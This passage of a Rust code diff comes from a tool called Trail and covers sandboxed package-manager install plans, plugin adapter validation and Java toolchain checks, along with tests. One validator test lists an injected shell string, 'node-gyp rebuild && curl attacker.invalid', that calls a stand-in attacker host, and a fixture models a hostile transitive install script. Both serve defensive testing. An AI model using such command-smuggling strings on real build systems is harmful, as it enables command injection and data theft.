\"lockfileVersion\": 1\n}\n", + "bun-frozen-ignore-scripts-v1", + "BUN_INSTALL_CACHE_DIR", + "bun", + "--no-progress", + ), + ]; + for ( + manager, + lock_name, + lock_contents, + strategy, + cache_environment, + cache_relative, + manager_flag, + ) in cases + { + if resolve_workspace_tool_executable(manager).is_err() { + continue; + } + let workspace = tempfile::tempdir().unwrap(); + let manager_version = tool_version(manager).unwrap(); + fs::write( + workspace.path().join("package.json"), + format!( + r#"{{"name":"trail-{manager}-plan","version":"1.0.0","private":true,"packageManager":"{manager}@{manager_version}"}}"# + ), + ) + .unwrap(); + fs::write(workspace.path().join(lock_name), lock_contents).unwrap(); + if manager == "bun" { + fs::write( + workspace.path().join("bunfig.toml"), + "[install]\nignoreScripts = true\n", + ) + .unwrap(); + } + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let source_root = db.get_ref("refs/branches/main").unwrap().root_id; + let plan = db.node_environment_plan(&source_root, "").unwrap(); + assert_eq!(plan.layer_key.strategy, strategy); + assert_eq!( + plan.layer_key.tool_versions[manager], manager_version, + "manager identity must be exact" + ); + let command = plan.command.as_ref().unwrap(); + assert!(command.args.iter().any(|arg| arg == "--frozen-lockfile")); + assert!(command.args.iter().any(|arg| arg == "--ignore-scripts")); + assert!(command.args.iter().any(|arg| arg == manager_flag)); + assert_eq!( + Path::new(&command.environment[cache_environment]), + plan.caches[0].storage_path.join(cache_relative) + ); + assert_eq!( + plan.outputs[0].policy, + WorkspaceEnvironmentOutputPolicy::ImmutableSeedPrivate + ); + if manager == "bun" { + assert!(plan + .inputs + .iter() + .any(|input| input.source_path == "bunfig.toml")); + } + } + } + + #[test] + fn yarn_pnp_and_ambiguous_manager_authority_fail_during_discovery() { + let cases = [ + ( + r#"{"name":"pnp","packageManager":"yarn@1.22.22","installConfig":{"pnp":true}}"#, + vec![("yarn.lock", "# yarn lockfile v1\n")], + None, + "Plug'n'Play", + ), + ( + r#"{"name":"berry","packageManager":"yarn@4.9.2"}"#, + vec![("yarn.lock", "__metadata:\n version: 8\n")], + Some((".yarnrc.yml", "nodeLinker: pnp\n")), + "Berry/PnP", + ), + ( + r#"{"name":"ambiguous"}"#, + vec![ + ("yarn.lock", "# yarn lockfile v1\n"), + ( + "package-lock.json", + r#"{"name":"ambiguous","lockfileVersion":3,"packages":{}}"#, + ), + ], + None, + "multiple package managers", + ), + ]; + for (package, locks, config, expected) in cases { + let workspace = tempfile::tempdir().unwrap(); + fs::write(workspace.path().join("package.json"), package).unwrap(); + for (name, contents) in locks { + fs::write(workspace.path().join(name), contents).unwrap(); + } + if let Some((name, contents)) = config { + fs::write(workspace.path().join(name), contents).unwrap(); + } + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let source_root = db.get_ref("refs/branches/main").unwrap().root_id; + let proposal = NODE_WORKSPACE_ADAPTER + .propose(&db, &source_root, "") + .unwrap() + .unwrap(); + assert_eq!(proposal.status, EnvironmentComponentProposalStatus::Blocked); + assert!( + proposal.reasons[0].message.contains(expected), + "unexpected proposal: {proposal:?}" + ); + } + } + + #[test] + fn package_manager_declaration_must_match_lock_and_executable() { + let package: serde_json::Value = serde_json::from_str( + r#"{"name":"fixture","packageManager":"bun@1.2.3+sha512.deadbeef"}"#, + ) + .unwrap(); + assert!( + validate_declared_package_manager_version(&package, "yarn", "1.22.22") + .unwrap_err() + .to_string() + .contains("Trail selected") + ); + assert!( + validate_declared_package_manager_version(&package, "bun", "1.2.4") + .unwrap_err() + .to_string() + .contains("requires `bun@1.2.3`") + ); + validate_declared_package_manager_version(&package, "bun", "1.2.3").unwrap(); + } + + #[test] + fn approved_native_lifecycle_is_exact_private_and_identity_bearing() { + for tool in ["node", "npm", "cc", "python3", "make"] { + if resolve_workspace_tool_executable(tool).is_err() { + return; + } + } + let workspace = tempfile::tempdir().unwrap(); + let npm_version = tool_version("npm").unwrap(); + let package = format!( + r#"{{"name":"trail-native-addon","version":"1.0.0","private":true,"packageManager":"npm@{npm_version}","scripts":{{"install":"node-gyp rebuild"}},"devDependencies":{{"node-gyp":"10.3.1"}}}}"# + ); + let integrity = "sha512-dGVzdC1ub2RlLWd5cC1pbnRlZ3JpdHk="; + let lock = format!( + r#"{{"name":"trail-native-addon","version":"1.0.0","lockfileVersion":3,"requires":true,"packages":{{"":{{"name":"trail-native-addon","version":"1.0.0","hasInstallScript":true,"devDependencies":{{"node-gyp":"10.3.1"}}}},"node_modules/node-gyp":{{"version":"10.3.1","integrity":"{integrity}","dev":true,"bin":{{"node-gyp":"bin/node-gyp.js"}}}}}}}}"# + ); + fs::write(workspace.path().join("package.json"), package).unwrap(); + fs::write(workspace.path().join("package-lock.json"), &lock).unwrap(); + fs::write(workspace.path().join("binding.gyp"), "{\"targets\":[]}").unwrap(); + let policy = serde_json::json!({ + "version": 1, + "manager": format!("npm@{npm_version}"), + "lock_sha256": sha256_hex(lock.as_bytes()), + "packages": [format!("node-gyp@10.3.1#{integrity}")], + "scripts": [{"package": ".", "phase": "install"}], + "capabilities": {"network": "deny", "native_toolchain": true}, + "outputs": ["build"] + }); + fs::write( + workspace.path().join(NODE_LIFECYCLE_POLICY_FILE), + serde_json::to_vec_pretty(&policy).unwrap(), + ) + .unwrap(); + + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let source_root = db.get_ref("refs/branches/main").unwrap().root_id; + let plan = db.node_environment_plan(&source_root, "").unwrap(); + assert_eq!( + plan.sandbox_policy, + WorkspaceEnvironmentSandboxPolicy::ApprovedLifecycle + ); + assert_eq!( + plan.layer_key.strategy, + "npm-frozen-approved-native-lifecycle-v1" + ); + assert!(plan + .layer_key + .inputs + .contains_key("lifecycle:approval_sha256")); + assert!(plan.layer_key.tool_versions.contains_key("node-abi")); + assert!(plan + .layer_key + .tool_versions + .contains_key("native-compiler-executable")); + assert_eq!(plan.pre_commands.len(), 1); + assert!(plan.pre_commands[0] + .args + .iter() + .any(|arg| arg == "--ignore-scripts")); + assert_eq!(plan.command.as_ref().unwrap().args[0], "run-script"); + assert!(plan.outputs.iter().all(|output| { + output.policy == WorkspaceEnvironmentOutputPolicy::WritablePrivate + && output.scope == EnvironmentSharingScope::Lane + && output.reuse == EnvironmentReuseMode::None + })); + assert_eq!( + plan.source_projection, + Some((source_root, "project".to_string())) + ); + } + + #[test] + fn approved_native_script_rejects_shell_and_transitive_lifecycle_escape() { + for rejected in [ + "node-gyp rebuild && curl attacker.invalid", + "npm rebuild", + "node-gyp rebuild; npm run postinstall", + "node-gyp rebuild ../../escape", + "node-gyp configure", + ] { + assert!( + !approved_node_native_script(rejected), + "accepted `{rejected}`" + ); + } + for accepted in ["node-gyp rebuild", "node-gyp rebuild --debug"] { + assert!( + approved_node_native_script(accepted), + "rejected `{accepted}`" + ); + } + } + + #[test] + fn approved_native_lifecycle_never_runs_lock_pinned_transitive_scripts() { + for tool in ["node", "npm", "cc", "python3", "make"] { + if resolve_workspace_tool_executable(tool).is_err() { + return; + } + } + let workspace = tempfile::tempdir().unwrap(); + let npm_version = tool_version("npm").unwrap(); + let package = format!( + r#"{{"name":"trail-native-addon","version":"1.0.0","private":true,"packageManager":"npm@{npm_version}","scripts":{{"install":"node-gyp rebuild"}},"devDependencies":{{"node-gyp":"10.3.1","hostile-transitive":"1.0.0"}}}}"# + ); + let integrity = "sha512-dGVzdC1ub2RlLWd5cC1pbnRlZ3JpdHk="; + let hostile_integrity = "sha512-aG9zdGlsZS10cmFuc2l0aXZlLWluc3RhbGw="; + let lock = format!( + r#"{{"name":"trail-native-addon","version":"1.0.0","lockfileVersion":3,"requires":true,"packages":{{"":{{"name":"trail-native-addon","version":"1.0.0","hasInstallScript":true,"devDependencies":{{"node-gyp":"10.3.1","hostile-transitive":"1.0.0"}}}},"node_modules/node-gyp":{{"version":"10.3.1","integrity":"{integrity}","dev":true,"bin":{{"node-gyp":"bin/node-gyp.js"}}}},"node_modules/hostile-transitive":{{"version":"1.0.0","integrity":"{hostile_integrity}","dev":true,"hasInstallScript":true}}}}}}"# + ); + fs::write(workspace.path().join("package.json"), package).unwrap(); + fs::write(workspace.path().join("package-lock.json"), &lock).unwrap(); + fs::write(workspace.path().join("binding.gyp"), "{\"targets\":[]}").unwrap(); + let policy = serde_json::json!({ + "version": 1, + "manager": format!("npm@{npm_version}"), + "lock_sha256": sha256_hex(lock.as_bytes()), + "packages": [format!("node-gyp@10.3.1#{integrity}")], + "scripts": [{"package": ".", "phase": "install"}], + "capabilities": {"network": "deny", "native_toolchain": true}, + "outputs": ["build"] + }); + fs::write( + workspace.path().join(NODE_LIFECYCLE_POLICY_FILE), + serde_json::to_vec_pretty(&policy).unwrap(), + ) + .unwrap(); + + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let db = Trail::open(workspace.path()).unwrap(); + let source_root = db.get_ref("refs/branches/main").unwrap().root_id; + let plan = db.node_environment_plan(&source_root, "").unwrap(); + assert!(plan.pre_commands.iter().all(|command| { + command + .args + .iter() + .any(|argument| argument == "--ignore-scripts") + && !command + .args + .iter() + .any(|argument| argument == "hostile-transitive") + })); + let lifecycle = plan.command.unwrap(); + assert_eq!( + lifecycle.args, + vec![ + "run-script".to_string(), + "install".to_string(), + "--ignore-scripts".to_string(), + "--offline".to_string(), + ] + ); + } + #[test] fn manifest_only_npm_uses_managed_lock_and_preserves_seed_cache_isolation() { if !Command::new("npm") @@ -1111,11 +2212,14 @@ mod tests { return; } let workspace = tempfile::tempdir().unwrap(); - let package = r#"{"name":"trail-managed-node-lock","version":"1.0.0","private":true,"packageManager":"npm@10.0.0"}"#; - fs::write(workspace.path().join("package.json"), package).unwrap(); + let npm_version = tool_version("npm").unwrap(); + let package = format!( + r#"{{"name":"trail-managed-node-lock","version":"1.0.0","private":true,"packageManager":"npm@{npm_version}"}}"# + ); + fs::write(workspace.path().join("package.json"), &package).unwrap(); let resolver = tempfile::tempdir().unwrap(); - fs::write(resolver.path().join("package.json"), package).unwrap(); + fs::write(resolver.path().join("package.json"), &package).unwrap(); let generated = Command::new("npm") .args([ "install", diff --git a/trail/src/db/lane/workspace_plugin.rs b/trail/src/db/lane/workspace_plugin.rs index 248a6bb4..fdb7e74b 100644 --- a/trail/src/db/lane/workspace_plugin.rs +++ b/trail/src/db/lane/workspace_plugin.rs @@ -127,6 +127,13 @@ impl From for ProposedPluginPlan { impl ProposedPluginPlan { fn from_v2(plan: AdapterPlanV2) -> Result { let metadata_only = !plan.external_artifacts.is_empty(); + let external_outputs_are_private_state = plan.outputs.iter().all(|output| { + output.policy == AdapterOutputPolicy::WritablePrivate + && output.reuse == AdapterReuseMode::None + && output.scope == AdapterSharingScope::Lane + && output.publish == AdapterPublicationTrigger::Never + && output.gate.is_none() + }); if (!metadata_only && plan.actions.is_empty()) || plan.actions.len() > 9 { return Err(Error::InvalidInput( "adapter protocol-v2 filesystem plan must declare between one and nine actions" @@ -137,10 +144,10 @@ impl ProposedPluginPlan { && (plan.kind != "external" || !plan.actions.is_empty() || !plan.caches.is_empty() - || !plan.outputs.is_empty()) + || !external_outputs_are_private_state) { return Err(Error::InvalidInput( - "adapter protocol-v2 external-artifact plan must use kind `external` and cannot mix actions, caches, or filesystem outputs" + "adapter protocol-v2 external-artifact plan must use kind `external`, cannot mix actions or caches, and permits only lane-scoped writable-private never-published companion outputs" .to_string(), )); } @@ -1474,9 +1481,16 @@ impl Trail { } let component_root = normalize_plugin_component_root(component_root)?; match protocol { - PROTOCOL_V1 if plan.command.is_none() || !plan.mounted_commands.is_empty() => { + PROTOCOL_V1 + if plan.command.is_none() + || !plan.mounted_commands.is_empty() + || plan + .command + .as_ref() + .is_some_and(|command| command.process_tree) => + { return Err(Error::InvalidInput(format!( - "adapter `{}` returned protocol-v2 actions in a v1 plan", + "adapter `{}` returned protocol-v2 actions or process-tree authority in a v1 plan", plugin.manifest.adapter.canonical_identity ))); } @@ -1498,6 +1512,17 @@ impl Trail { plugin.manifest.adapter.canonical_identity ))); } + PROTOCOL_V2 + if plan + .mounted_commands + .iter() + .any(|command| command.process_tree || !command.identity_args.is_empty()) => + { + return Err(Error::InvalidInput(format!( + "adapter `{}` requested process-tree authority for a mounted action; it is available only to staging actions", + plugin.manifest.adapter.canonical_identity + ))); + } PROTOCOL_V2 => {} other => { return Err(Error::InvalidInput(format!( @@ -1508,6 +1533,10 @@ impl Trail { } let cache_contract = serde_json::to_string(&plan.caches)?; + let process_tree = plan + .command + .as_ref() + .is_some_and(|command| command.process_tree); let (normalized_caches, cache_environment) = self.normalize_environment_plugin_caches( plugin, protocol, @@ -1518,6 +1547,20 @@ impl Trail { .iter() .map(|cache| cache.name.clone()) .collect::>(); + let cache_argument_paths = normalized_caches + .iter() + .map(|cache| (cache.name.as_str(), cache.storage_path.as_path())) + .collect::>(); + let host_java_environment = if process_tree { + host_process_tree_java_environment( + plan.command + .as_ref() + .map(|command| command.program.as_str()), + &plugin.manifest.adapter.canonical_identity, + )? + } else { + BTreeMap::new() + }; let normalize_command = |command: &trail_environment_adapter_sdk::AdapterCommand, mounted: bool| @@ -1526,11 +1569,16 @@ impl Trail { || command.program.contains('\\') || super::workspace_recipe::is_shell_program(&command.program) || command.args.len() > 4096 - || command.args.iter().any(|argument| { - argument.len() > 128 * 1024 - || argument.contains('\0') - || contains_sensitive_text(argument) - }) + || command.identity_args.len() > 16 + || command + .args + .iter() + .chain(&command.identity_args) + .any(|argument| { + argument.len() > 128 * 1024 + || argument.contains('\0') + || contains_sensitive_text(argument) + }) { return Err(Error::InvalidInput(format!( "adapter `{}` proposed a shell, path-qualified executable, or invalid argument", @@ -1552,6 +1600,16 @@ impl Trail { )?; } let mut environment = command.environment.clone(); + if !mounted { + for (name, value) in &host_java_environment { + if environment.insert(name.clone(), value.clone()).is_some() { + return Err(Error::InvalidInput(format!( + "adapter `{}` attempted to override host-owned environment variable `{name}`", + plugin.manifest.adapter.canonical_identity + ))); + } + } + } if !mounted { for (name, value) in &cache_environment { if environment.insert(name.clone(), value.clone()).is_some() { @@ -1571,12 +1629,24 @@ impl Trail { } else { format!("project/{working_repository_path}") }; + let args = command + .args + .iter() + .map(|argument| { + materialize_plugin_cache_argument( + argument, + &cache_argument_paths, + mounted, + &plugin.manifest.adapter.canonical_identity, + ) + }) + .collect::>>()?; Ok(( WorkspaceEnvironmentCommand { program: command.program.clone(), resolved_program: tool.path, executable_identity: tool.identity, - args: command.args.clone(), + args, working_directory, environment, remove_environment: Vec::new(), @@ -1594,6 +1664,31 @@ impl Trail { .as_ref() .map(|command| normalize_command(command, false)) .transpose()?; + let mut tool_identity_environment = plan + .command + .as_ref() + .map(|command| command.environment.clone()) + .unwrap_or_default(); + for (name, value) in &host_java_environment { + tool_identity_environment.insert(name.clone(), value.clone()); + } + let staging_version_identity = if let Some(command) = &plan.command { + if command.identity_args.is_empty() { + None + } else { + let tool = super::workspace_environment::resolve_workspace_tool_executable( + &command.program, + )?; + Some(plugin_tool_version_identity( + &tool.path, + &command.identity_args, + &tool_identity_environment, + &plugin.manifest.adapter.canonical_identity, + )?) + } + } else { + None + }; let normalized_mounted_commands = plan .mounted_commands .iter() @@ -1658,9 +1753,17 @@ impl Trail { plugin.manifest.adapter.canonical_identity ))); } - if !plan.external_artifacts.is_empty() && !plan.outputs.is_empty() { + if !plan.external_artifacts.is_empty() + && plan.outputs.iter().any(|output| { + output.policy != AdapterOutputPolicy::WritablePrivate + || output.reuse != AdapterReuseMode::None + || output.scope != AdapterSharingScope::Lane + || output.publish != AdapterPublicationTrigger::Never + || output.gate.is_some() + }) + { return Err(Error::InvalidInput(format!( - "adapter `{}` cannot mix external artifacts with filesystem outputs", + "adapter `{}` external artifacts permit only lane-scoped writable-private never-published companion outputs", plugin.manifest.adapter.canonical_identity ))); } @@ -1860,7 +1963,10 @@ impl Trail { ); layer_inputs.insert( "capability_contract".to_string(), - if runtime_resources + if !outputs.is_empty() { + "plugin-plan:bounded-pinned-bytes;action:none;fs-read:none;fs-write:host-created-lane-private-companion-state;process:none;network:none;shell:none;scripts:none;secrets:none;authority:external-identity-only" + .to_string() + } else if runtime_resources .iter() .any(|resource| !resource.secrets.is_empty()) { @@ -1910,6 +2016,18 @@ impl Trail { .to_string(), ); } + if process_tree { + layer_inputs.insert( + "process_tree_contract".to_string(), + "native-sandboxed;outbound-network-deny;macos-local-bind-and-receive;committed-direct-validation-task;cache-independent-tool-identity;isolated-staging-enumeration;isolated-java-tmp;verified-host-java-home;verified-process-tree-tool-root;macos-system-shell-selector;cache-ancestor-metadata;declared-outputs-and-caches-only;deterministic-build-mtime-2000-v16;protocol-v2" + .to_string(), + ); + layer_inputs.insert( + "capability_contract".to_string(), + "plugin-plan:bounded-pinned-bytes;fs-read:declared-inputs;fs-write:declared-outputs+host-cache+isolated-home+tmp;process:sandboxed-tree;network:deny;shell:tool-managed;secrets:deny" + .to_string(), + ); + } let mounted_commands = normalized_mounted_commands .iter() .map(|(command, _)| command.clone()) @@ -1959,6 +2077,49 @@ impl Trail { format!("staging-executable:{}", command.program) }; tool_versions.insert(name, command.executable_identity.clone()); + if let Some(version) = &staging_version_identity { + tool_versions.insert( + format!("staging-version:{}", command.program), + version.clone(), + ); + } + if let Some(java_home) = command.environment.get("JAVA_HOME") { + let java = canonical_java_executable( + Path::new(java_home), + &plugin.manifest.adapter.canonical_identity, + )?; + tool_versions.insert( + "host-executable:java".to_string(), + super::workspace_environment::workspace_tool_identity_for_path(&java)?, + ); + tool_versions.insert( + "host-version:java".to_string(), + plugin_tool_version_identity( + &java, + &["--version".to_string()], + &BTreeMap::new(), + &plugin.manifest.adapter.canonical_identity, + )?, + ); + let javac = canonical_java_tool( + Path::new(java_home), + "javac", + &plugin.manifest.adapter.canonical_identity, + )?; + tool_versions.insert( + "host-executable:javac".to_string(), + super::workspace_environment::workspace_tool_identity_for_path(&javac)?, + ); + tool_versions.insert( + "host-version:javac".to_string(), + plugin_tool_version_identity( + &javac, + &["--version".to_string()], + &BTreeMap::new(), + &plugin.manifest.adapter.canonical_identity, + )?, + ); + } } for (index, (command, _)) in normalized_mounted_commands.iter().enumerate() { tool_versions.insert( @@ -1986,7 +2147,9 @@ impl Trail { platform: std::env::consts::OS.to_string(), architecture: std::env::consts::ARCH.to_string(), portability_scope: portability_scope.to_string(), - strategy: if !external_artifacts.is_empty() { + strategy: if !external_artifacts.is_empty() && !outputs.is_empty() { + "isolated-plugin-external-artifact-private-state-plan-v2" + } else if !external_artifacts.is_empty() { "isolated-plugin-external-artifact-plan-v2" } else if protocol == PROTOCOL_V1 { "isolated-plugin-plan-v1" @@ -2007,7 +2170,9 @@ impl Trail { caches: normalized_caches, external_artifacts, runtime_resources, - sandbox_policy: if protocol == PROTOCOL_V2 && !normalized_mounted_commands.is_empty() { + sandbox_policy: if process_tree { + WorkspaceEnvironmentSandboxPolicy::RestrictedPluginProcessTree + } else if protocol == PROTOCOL_V2 && !normalized_mounted_commands.is_empty() { WorkspaceEnvironmentSandboxPolicy::RestrictedPluginMounted } else if protocol == PROTOCOL_V2 && has_plugin_caches { WorkspaceEnvironmentSandboxPolicy::RestrictedPluginStaging @@ -2020,6 +2185,205 @@ impl Trail { } } +fn plugin_tool_version_identity( + program: &Path, + args: &[String], + environment: &BTreeMap, + adapter_identity: &str, +) -> Result { + const MAX_CAPTURE: usize = 64 * 1024; + let mut command = Command::new(program); + command + .args(args) + .env_clear() + .envs(environment) + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + if let Some(path) = std::env::var_os("PATH") { + command.env("PATH", path); + } + let mut child = command.spawn().map_err(|error| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` tool identity command could not launch: {error}" + )) + })?; + let stdout = child + .stdout + .take() + .ok_or_else(|| Error::Corrupt("tool identity command lost stdout".to_string()))?; + let stderr = child + .stderr + .take() + .ok_or_else(|| Error::Corrupt("tool identity command lost stderr".to_string()))?; + let stdout = spawn_bounded_reader(stdout, MAX_CAPTURE); + let stderr = spawn_bounded_reader(stderr, MAX_CAPTURE); + let deadline = Instant::now() + Duration::from_secs(10); + let status = loop { + if let Some(status) = child.try_wait()? { + break status; + } + if Instant::now() >= deadline { + let _ = child.kill(); + let _ = child.wait(); + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` tool identity command timed out" + ))); + } + thread::sleep(Duration::from_millis(25)); + }; + let stdout = stdout + .join() + .map_err(|_| Error::Corrupt("tool identity stdout reader panicked".to_string()))??; + let stderr = stderr + .join() + .map_err(|_| Error::Corrupt("tool identity stderr reader panicked".to_string()))??; + if stdout.overflow || stderr.overflow || !status.success() { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` tool identity command failed or exceeded 64 KiB" + ))); + } + if stdout.bytes.is_empty() && stderr.bytes.is_empty() { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` tool identity output was empty" + ))); + } + let mut identity = Vec::with_capacity(stdout.bytes.len() + stderr.bytes.len() + 1); + identity.extend_from_slice(&stdout.bytes); + identity.push(0); + identity.extend_from_slice(&stderr.bytes); + if contains_sensitive_text(&String::from_utf8_lossy(&identity)) { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` tool identity output was sensitive" + ))); + } + Ok(format!("sha256:{}", sha256_hex(&identity))) +} + +fn host_process_tree_java_environment( + program: Option<&str>, + adapter_identity: &str, +) -> Result> { + if !matches!(program, Some("bazel" | "gradle" | "mvn" | "maven")) { + return Ok(BTreeMap::new()); + } + let java_home = match std::env::var_os("JAVA_HOME") { + Some(java_home) => fs::canonicalize(PathBuf::from(java_home)).map_err(|error| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` requires a valid system-managed JAVA_HOME: {error}" + )) + })?, + None => { + let java = super::workspace_environment::resolve_workspace_tool_executable("java")?; + let java = fs::canonicalize(&java.path).map_err(|error| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` could not resolve the selected Java executable: {error}" + )) + })?; + java_toolchain_home(&java).ok_or_else(|| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` selected Java executable `{}` without a toolchain home", + java.display() + )) + })? + } + }; + let approved_roots = ["/Library", "/opt", "/usr", "/nix/store"]; + #[cfg(windows)] + let approved = java_home.is_absolute(); + #[cfg(not(windows))] + let approved = approved_roots + .iter() + .any(|root| java_home.starts_with(root)); + if !approved { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` JAVA_HOME `{}` is not under an approved system toolchain root ({})", + java_home.display(), + approved_roots.join(", ") + ))); + } + let _ = canonical_java_executable(&java_home, adapter_identity)?; + Ok(BTreeMap::from([( + "JAVA_HOME".to_string(), + java_home.to_string_lossy().into_owned(), + )])) +} + +fn java_toolchain_home(java: &Path) -> Option { + // `/usr/bin/java` is Apple's launcher, not a JDK-owned executable. Treating + // `/usr` as JAVA_HOME causes the launcher to recurse instead of identifying + // the concrete toolchain selected by the operator. + #[cfg(target_os = "macos")] + if java == Path::new("/usr/bin/java") { + return None; + } + java.parent().and_then(Path::parent).map(Path::to_path_buf) +} + +fn canonical_java_executable(java_home: &Path, adapter_identity: &str) -> Result { + canonical_java_tool(java_home, "java", adapter_identity) +} + +fn canonical_java_tool(java_home: &Path, tool: &str, adapter_identity: &str) -> Result { + #[cfg(windows)] + let executable = java_home.join(format!("bin/{tool}.exe")); + #[cfg(not(windows))] + let executable = java_home.join(format!("bin/{tool}")); + let executable = fs::canonicalize(&executable).map_err(|error| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` JAVA_HOME has no runnable `{tool}` executable: {error}" + )) + })?; + if !executable.starts_with(java_home) || !executable.is_file() { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` JAVA_HOME `{tool}` executable escapes its toolchain root" + ))); + } + Ok(executable) +} + +fn materialize_plugin_cache_argument( + argument: &str, + caches: &BTreeMap<&str, &Path>, + mounted: bool, + adapter_identity: &str, +) -> Result { + const PREFIX: &str = "{trail-cache:"; + let Some(start) = argument.find(PREFIX) else { + return Ok(argument.to_string()); + }; + if mounted || argument[start + PREFIX.len()..].contains(PREFIX) { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` used an invalid or mounted cache argument binding" + ))); + } + let name_start = start + PREFIX.len(); + let end = argument[name_start..] + .find('}') + .map(|offset| name_start + offset) + .ok_or_else(|| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` returned an unterminated cache argument binding" + )) + })?; + let name = &argument[name_start..end]; + let path = caches.get(name).ok_or_else(|| { + Error::InvalidInput(format!( + "adapter `{adapter_identity}` references undeclared argument cache `{name}`" + )) + })?; + let mut materialized = String::with_capacity(argument.len() + path.to_string_lossy().len()); + materialized.push_str(&argument[..start]); + materialized.push_str(&path.to_string_lossy()); + materialized.push_str(&argument[end + 1..]); + if materialized.contains(PREFIX) { + return Err(Error::InvalidInput(format!( + "adapter `{adapter_identity}` returned more than one cache argument binding" + ))); + } + Ok(materialized) +} + fn spawn_bounded_reader( mut reader: impl Read + Send + 'static, maximum: usize, @@ -3021,7 +3385,7 @@ fn canonicalize_and_validate_package(package: &mut AdapterPackageManifest) -> Re } if !matches!( package.adapter.kind.as_str(), - "dependency" | "compiler-results" | "generated" + "dependency" | "compiler-results" | "generated" | "external" ) { return Err(Error::InvalidInput(format!( "adapter `{}` declares unsupported kind `{}`", @@ -3336,6 +3700,17 @@ mod tests { use crate::ids::{ArtifactEnvelopeId, ArtifactTreeId}; use ed25519_dalek::{Signer, SigningKey}; + #[test] + fn java_toolchain_home_is_derived_from_the_selected_path_executable() { + assert_eq!( + java_toolchain_home(Path::new("/opt/jdk/Contents/Home/bin/java")), + Some(PathBuf::from("/opt/jdk/Contents/Home")) + ); + assert_eq!(java_toolchain_home(Path::new("java")), None); + #[cfg(target_os = "macos")] + assert_eq!(java_toolchain_home(Path::new("/usr/bin/java")), None); + } + fn plugin_with_protocols(protocols: &[&str]) -> InstalledEnvironmentPlugin { InstalledEnvironmentPlugin { manifest: AdapterPackageManifest { @@ -3820,6 +4195,34 @@ mod tests { ) .unwrap(); } + let stateful = AdapterPlanV2::builder("nix-store", "external") + .identity_input("flake.lock") + .external_artifact(AdapterExternalArtifact::verified_external( + "package", + "nix-store", + "/nix/store/example-package", + digest, + "linux/aarch64", + )) + .output(AdapterOutput::writable_private( + "profile", + "trail-nix-profile", + ".trail-nix-profile", + )) + .stale_reason("Nix immutable identity or private profile contract changed") + .build() + .unwrap(); + let normalized = ProposedPluginPlan::from_v2(stateful).unwrap(); + assert_eq!(normalized.external_artifacts.len(), 1); + assert_eq!(normalized.outputs.len(), 1); + assert_eq!( + normalized.outputs[0].policy, + AdapterOutputPolicy::WritablePrivate + ); + assert_eq!( + normalized.outputs[0].publish, + AdapterPublicationTrigger::Never + ); let mut secret_like = normalized.external_artifacts[0].clone(); secret_like.reference = "store://objects/token=credential".to_string(); assert!( @@ -3897,6 +4300,70 @@ mod tests { .contains("secret-like data")); } + #[test] + fn plugin_cache_arguments_are_exactly_declared_and_staging_only() { + let cache_root = Path::new("/trail/cache/root"); + let caches = BTreeMap::from([("repository", cache_root)]); + assert_eq!( + materialize_plugin_cache_argument( + "--repository=/prefix/{trail-cache:repository}/suffix", + &caches, + false, + "example/test@1", + ) + .unwrap(), + format!("--repository=/prefix/{}/suffix", cache_root.display()) + ); + for invalid in [ + "{trail-cache:missing}", + "{trail-cache:repository", + "{trail-cache:repository}/{trail-cache:repository}", + ] { + assert!( + materialize_plugin_cache_argument(invalid, &caches, false, "example/test@1",) + .is_err() + ); + } + assert!(materialize_plugin_cache_argument( + "{trail-cache:repository}", + &caches, + true, + "example/test@1", + ) + .unwrap_err() + .to_string() + .contains("mounted cache argument")); + } + + #[cfg(unix)] + #[test] + fn plugin_tool_identity_is_stable_and_sensitive_to_version_output() { + let first = plugin_tool_version_identity( + Path::new("/bin/echo"), + &["version-one".to_string()], + &BTreeMap::new(), + "example/test@1", + ) + .unwrap(); + let repeated = plugin_tool_version_identity( + Path::new("/bin/echo"), + &["version-one".to_string()], + &BTreeMap::new(), + "example/test@1", + ) + .unwrap(); + let changed = plugin_tool_version_identity( + Path::new("/bin/echo"), + &["version-two".to_string()], + &BTreeMap::new(), + "example/test@1", + ) + .unwrap(); + assert_eq!(first, repeated); + assert_ne!(first, changed); + assert!(valid_sha256_digest(&first)); + } + fn write_test_package(root: &Path, identity: &str) { let executable = root.join("adapter-test"); fs::write(&executable, b"test adapter executable\n").unwrap(); @@ -3957,6 +4424,24 @@ max_response_bytes = 1048576 .unwrap(); } + #[test] + fn plugin_package_accepts_external_metadata_kind() { + let package = tempfile::tempdir().unwrap(); + write_test_package(package.path(), "example/external@1"); + let manifest_path = package.path().join(PLUGIN_PACKAGE_MANIFEST); + let manifest = fs::read_to_string(&manifest_path).unwrap(); + fs::write( + &manifest_path, + manifest.replace("kind = \"generated\"", "kind = \"external\""), + ) + .unwrap(); + let mut package: AdapterPackageManifest = + toml::from_str(&fs::read_to_string(manifest_path).unwrap()).unwrap(); + + canonicalize_and_validate_package(&mut package).unwrap(); + assert_eq!(package.adapter.kind, "external"); + } + fn sign_test_package(root: &Path, signing_key: &SigningKey, publisher: &str) -> PathBuf { let mut package: AdapterPackageManifest = toml::from_str(&fs::read_to_string(root.join(PLUGIN_PACKAGE_MANIFEST)).unwrap()) diff --git a/trail/src/db/lane/workspace_python.rs b/trail/src/db/lane/workspace_python.rs index cd57710a..fb35588d 100644 --- a/trail/src/db/lane/workspace_python.rs +++ b/trail/src/db/lane/workspace_python.rs @@ -43,6 +43,14 @@ const 